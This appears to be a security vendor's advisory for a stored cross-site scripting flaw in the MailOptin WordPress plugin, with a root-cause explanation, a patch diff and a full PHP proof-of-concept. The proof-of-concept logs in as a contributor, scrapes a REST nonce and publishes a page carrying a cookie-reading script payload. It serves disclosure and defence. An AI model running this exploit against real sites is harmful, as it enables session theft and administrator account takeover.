Published : August 8, 2026

CVE-2026-66703: MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. <= 1.2.78.0 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin mailoptin
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.2.78.0
Patched Version 1.2.78.1
Disclosed July 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66703:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the MailOptin WordPress plugin, versions up to and including 1.2.78.0. The issue resides in the block editor’s email opt-in form, specifically within the rendering logic of the Gutenberg block. An authenticated attacker with contributor-level access or higher can exploit this flaw to inject arbitrary web scripts that execute when other users, including administrators, view the compromised page. The CVSS score for this vulnerability is 6.4.

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in the block’s render.php file. The code directly outputs the block’s ‘id’ attribute into a shortcode without sanitization. The vulnerable code is located in the plugin’s block editor build and source directories: `mailoptin/src/core/src/BlockEditor/build/email-optin/render.php` and `mailoptin/src/core/src/BlockEditor/src/email-optin/render.php`. Specifically, the line `echo do_shortcode(sprintf(‘[mo-optin-form id=”%s”]’, $attributes[‘id’] ?? ”))` embeds the unsanitized `id` attribute value into the `[mo-optin-form]` shortcode. Because the output is not escaped before being echoed, a malicious user can craft an `id` attribute containing JavaScript code that executes when the block is rendered.

Exploitation: An attacker with contributor access can create or edit a post or page containing a MailOptin email opt-in form block. Instead of setting a valid numeric ID for the form, the attacker injects a payload into the block’s ‘id’ attribute. For example, the attacker can set the id to `”>alert(document.cookie)`. When the page is saved and viewed by another user, the MailOptin block renderer outputs the shortcode with the malicious ID, and the injected script executes in the victim’s browser. The attack vector is the block editor’s save mechanism, which stores the unsanitized value in the post content.

Patch Analysis: The patch modifies the `render.php` files to sanitize the `id` attribute before it is used. The vulnerable line `do_shortcode(sprintf(‘[mo-optin-form id=”%s”]’, $attributes[‘id’] ?? ”))` is changed to `do_shortcode(sprintf(‘[mo-optin-form id=”%s”]’, absint($attributes[‘id’]) ?? ”))`. The `absint()` function converts the attribute value to a non-negative integer. This effectively strips out any HTML, JavaScript, or other characters that are not numeric, preventing script injection. The patch ensures that only a valid integer ID can be passed to the shortcode, which neutralizes the attack vector.

Impact: Successful exploitation of this vulnerability allows an attacker with contributor-level access to inject arbitrary client-side scripts. This can lead to a full compromise of an administrator’s session, allowing the attacker to perform account takeover. The attacker could also steal sensitive data, such as authentication cookies and session tokens, or modify site content. The injected script executes in the context of the victim’s browser session, granting the attacker the same level of access to the WordPress admin as the victim, which is the website owner or an administrator. This can result in complete website takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mailoptin/mailoptin.php
+++ b/mailoptin/mailoptin.php
@@ -4,7 +4,7 @@
 Plugin Name: MailOptin - Lite
 Plugin URI: https://mailoptin.io
 Description: Best lead generation, email automation & newsletter plugin.
-Version: 1.2.78.0
+Version: 1.2.78.1
 Author: MailOptin Popup Builder Team
 Contributors: collizo4sky
 Author URI: https://mailoptin.io
@@ -16,7 +16,7 @@
 require __DIR__ . '/vendor/autoload.php';

 define('MAILOPTIN_SYSTEM_FILE_PATH', __FILE__);
-define('MAILOPTIN_VERSION_NUMBER', '1.2.78.0');
+define('MAILOPTIN_VERSION_NUMBER', '1.2.78.1');

 MailOptinCoreCore::init();
 MailOptinConnectionsInit::init();
 No newline at end of file
--- a/mailoptin/src/connections/MailChimpConnect/AbstractMailChimpConnect.php
+++ b/mailoptin/src/connections/MailChimpConnect/AbstractMailChimpConnect.php
@@ -27,7 +27,7 @@
     }

     /**
-     * Is MailChimp successfully connected to?
+     * Is Mailchimp successfully connected to?
      *
      * @return bool
      */
@@ -112,7 +112,7 @@
     }

     /**
-     * Return instance of MailChimp list class.
+     * Return instance of Mailchimp list class.
      *
      * @throws Exception
      *
@@ -123,7 +123,7 @@
         $api_key = $this->connections_settings->mailchimp_api_key();

         if (empty($api_key)) {
-            throw new Exception('MailChimp API key not found.');
+            throw new Exception('Mailchimp API key not found.');
         }

         $client = new MailchimpCurlHttpClient(['timeout' => 30]);
@@ -132,7 +132,7 @@
     }

     /**
-     * Return instance of MailChimp campaign class.
+     * Return instance of Mailchimp campaign class.
      *
      * @throws Exception
      *
@@ -143,7 +143,7 @@
         $api_key = $this->connections_settings->mailchimp_api_key();

         if (empty($api_key)) {
-            throw new Exception('MailChimp API key not found.');
+            throw new Exception('Mailchimp API key not found.');
         }

         $client = new MailchimpCurlHttpClient(['timeout' => 30]);
--- a/mailoptin/src/connections/MailChimpConnect/Connect.php
+++ b/mailoptin/src/connections/MailChimpConnect/Connect.php
@@ -117,7 +117,7 @@
     }

     /**
-     * Register MailChimp Connection.
+     * Register Mailchimp Connection.
      *
      * @param array $connections
      *
@@ -279,7 +279,7 @@
      */
     public function add_reward_merge_tag($footer_description)
     {
-        // do not add MailChimp reward merge tag to customizer preview.
+        // do not add Mailchimp reward merge tag to customizer preview.
         if ( ! is_customize_preview()) {
             $footer_description .= '<br/>' . '*|IF:REWARDS|* *|HTML:REWARDS|* *|END:IF|*';
         }
@@ -420,7 +420,7 @@
             if (empty($interest_groups)) {
                 $controls[] = [
                     'field'   => 'custom_content',
-                    'content' => '<div class="MailChimpConnect_interests mc-group-block" style="background:#000000;color:#fff;margin:5px 0;padding:10px;font-size:14px;">' . __('No MailChimp group found. Try selecting another email list.', 'mailoptin') . '</div>'
+                    'content' => '<div class="MailChimpConnect_interests mc-group-block" style="background:#000000;color:#fff;margin:5px 0;padding:10px;font-size:14px;">' . __('No Mailchimp group found. Try selecting another email list.', 'mailoptin') . '</div>'
                 ];
             } else {

--- a/mailoptin/src/connections/MailChimpConnect/ConnectSettingsPage.php
+++ b/mailoptin/src/connections/MailChimpConnect/ConnectSettingsPage.php
@@ -83,7 +83,7 @@
                 'obfuscate_val' => true,
                 'label'         => __('Enter API Key', 'mailoptin'),
                 'description'   => sprintf(
-                    __('Log in to your %sMailChimp account%s to get your API Key.', 'mailoptin'),
+                    __('Log in to your %sMailchimp account%s to get your API Key.', 'mailoptin'),
                     '<a target="_blank" href="https://admin.mailchimp.com/account/api-key-popup">',
                     '</a>'
                 ),
--- a/mailoptin/src/connections/MailChimpConnect/SendCampaign.php
+++ b/mailoptin/src/connections/MailChimpConnect/SendCampaign.php
@@ -88,7 +88,7 @@
             if ( ! empty($response->id)) {
                 $campaign_id = $response->id;

-                // save the MailChimp campaign ID against the campaign log.
+                // save the Mailchimp campaign ID against the campaign log.
                 AbstractCampaignLogMeta::add_campaignlog_meta($this->campaign_log_id, 'mailchimp_campaign_id', $campaign_id);

                 $parameters = [
--- a/mailoptin/src/connections/MailChimpConnect/Subscription.php
+++ b/mailoptin/src/connections/MailChimpConnect/Subscription.php
@@ -212,9 +212,14 @@
                 'interests'     => $this->interests(),
                 'status_if_new' => $optin_status,
                 'status'        => 'subscribed',
-                'ip_signup'     => parse_url('http://' . get_ip_address(), PHP_URL_HOST) // strip ports and stuff
+                // Strip ports and stuff. does not work with ipv6. see https://stackoverflow.com/a/66805163/2648410
+                'ip_signup'     => parse_url('http://' . get_ip_address(), PHP_URL_HOST)
             ];

+            if(filter_var($parameters['ip_signup'], FILTER_VALIDATE_IP) === false) {
+                unset($parameters['ip_signup']);
+            }
+
             $parameters = apply_filters('mo_connections_mailchimp_subscription_parameters', array_filter($parameters, [$this, 'data_filter']), $this);

             $response = $this->mc_list_instance()->addOrUpdateMember($this->list_id, $this->email, $parameters);
--- a/mailoptin/src/core/src/BlockEditor/build/email-optin/render.php
+++ b/mailoptin/src/core/src/BlockEditor/build/email-optin/render.php
@@ -1,3 +1,3 @@
 <div <?php echo get_block_wrapper_attributes(); ?>>
-	<?php  echo do_shortcode(sprintf('[mo-optin-form id="%s"]', $attributes['id'] ?? '')) ?>
+	<?php  echo do_shortcode(sprintf('[mo-optin-form id="%s"]', absint($attributes['id']) ?? '')) ?>
 </div>
--- a/mailoptin/src/core/src/BlockEditor/src/email-optin/render.php
+++ b/mailoptin/src/core/src/BlockEditor/src/email-optin/render.php
@@ -1,3 +1,3 @@
 <div <?php echo get_block_wrapper_attributes(); ?>>
-	<?php  echo do_shortcode(sprintf('[mo-optin-form id="%s"]', $attributes['id'] ?? '')) ?>
+	<?php  echo do_shortcode(sprintf('[mo-optin-form id="%s"]', absint($attributes['id']) ?? '')) ?>
 </div>
--- a/mailoptin/vendor/composer/installed.php
+++ b/mailoptin/vendor/composer/installed.php
@@ -66,12 +66,6 @@
             'aliases' => array(),
             'dev_requirement' => false,
         ),
-        'guzzlehttp/guzzle' => array(
-            'dev_requirement' => false,
-            'replaced' => array(
-                0 => '*',
-            ),
-        ),
         'league/csv' => array(
             'pretty_version' => '9.8.0',
             'version' => '9.8.0.0',
@@ -82,8 +76,8 @@
             'dev_requirement' => false,
         ),
         'mailoptin/authifly' => array(
-            'pretty_version' => '0.2.1782903804',
-            'version' => '0.2.1782903804.0',
+            'pretty_version' => '0.2.1785158706',
+            'version' => '0.2.1785158706.0',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../mailoptin/authifly',
@@ -91,8 +85,8 @@
             'dev_requirement' => false,
         ),
         'mailoptin/connections' => array(
-            'pretty_version' => '0.2.1782903847',
-            'version' => '0.2.1782903847.0',
+            'pretty_version' => '0.2.1785158757',
+            'version' => '0.2.1785158757.0',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../src/connections',
@@ -100,18 +94,18 @@
             'dev_requirement' => false,
         ),
         'mailoptin/core' => array(
-            'pretty_version' => '0.1.0-alpha.1782903842',
-            'version' => '0.1.0.0-alpha1782903842',
-            'reference' => '0fef44b70691635fe5521cc2cd32ad9e75591fe3',
+            'pretty_version' => '0.1.0-alpha.1785158752',
+            'version' => '0.1.0.0-alpha1785158752',
+            'reference' => 'db73678b38edc158a9c3d8b1a005c175ff842b40',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../src/core',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'mailoptin/mailchimp-api-php' => array(
-            'pretty_version' => '2.1.5',
-            'version' => '2.1.5.0',
-            'reference' => 'ade3bac74a26260d400bfaaa619f45d2a1421eb8',
+            'pretty_version' => '2.1.7',
+            'version' => '2.1.7.0',
+            'reference' => 'f39256fd31eb880361fc94c68544aa62b60fab1d',
             'type' => 'library',
             'install_path' => __DIR__ . '/../mailoptin/mailchimp-api-php',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66703 - MailOptin <= 1.2.78.0 - Stored Cross-Site Scripting

/*
 * This PoC demonstrates the exploitation of CVE-2026-66703.
 * An authenticated user with contributor-level access can inject a stored XSS payload via the Gutenberg block editor.
 * The script injects a payload into the 'id' attribute of the 'mo-optin-form' block.
 *
 * Requirements:
 * - A WordPress installation with MailOptin plugin version 1.2.78.0 or earlier.
 * - The Attacker's user account must have at least 'contributor' role.
 * - Valid login credentials for the attacker's account.
 * - A valid WordPress REST API nonce ($nonce).
 */

$target_url = 'http://your-wordpress-site.com'; // Set your target WordPress URL
$username = 'attacker_user';  // Set the contributor username
$password = 'attacker_password';  // Set the contributor password

// 1. Login to WordPress to obtain authentication cookies and a REST API nonce.
function wp_login($url, $user, $pass) {
    $ch = curl_init($url . '/wp-login.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $url . '/wp-admin/',
        'testcookie' => '1'
    ]));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_exec($ch);
    curl_close($ch);

    // Fetch the wp-admin page to get a REST API nonce
    $ch = curl_init($url . '/wp-admin/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    preg_match('/wpApiSettings.nonce = "([^"]+)"/', $response, $matches);
    return $matches[1] ?? null;
}

$nonce = wp_login($target_url, $username, $password);

if (!$nonce) {
    die("Failed to login and obtain nonce.n");
}

echo "[+] Logged in. REST API nonce obtained.n";

// 2. Prepare the XSS payload to be injected into the block's "id" attribute.
// This payload will execute JavaScript when a user visits the page.
$payload = '"><script>alert(document.cookie)</script>';

// 3. Create a new page containing the malicious MailOptin block.
$block_content = '<!-- wp:mailoptin/email-optin {"id":"' . $payload . '"} -->n<!-- /wp:mailoptin/email-optin -->';

$post_data = [
    'title' => 'Malicious MailOptin Page from Atomic Edge Research',
    'content' => $block_content,
    'status' => 'publish',
    'author' => 1 // Change to the attacker's user ID if needed
];

$ch = curl_init($target_url . '/wp-json/wp/v2/pages');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 201) {
    $decoded = json_decode($response, true);
    echo "[+] Malicious page created: " . $decoded['link'] . "n";
    echo "[+] XSS payload will execute when a user with higher privileges views this page.n";
} else {
    echo "[-] Failed to create page. HTTP Response Code: " . $http_code . "n";
    echo "[-] Response body: " . $response . "n";
}

// Clean up cookies file
unlink('cookies.txt');

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.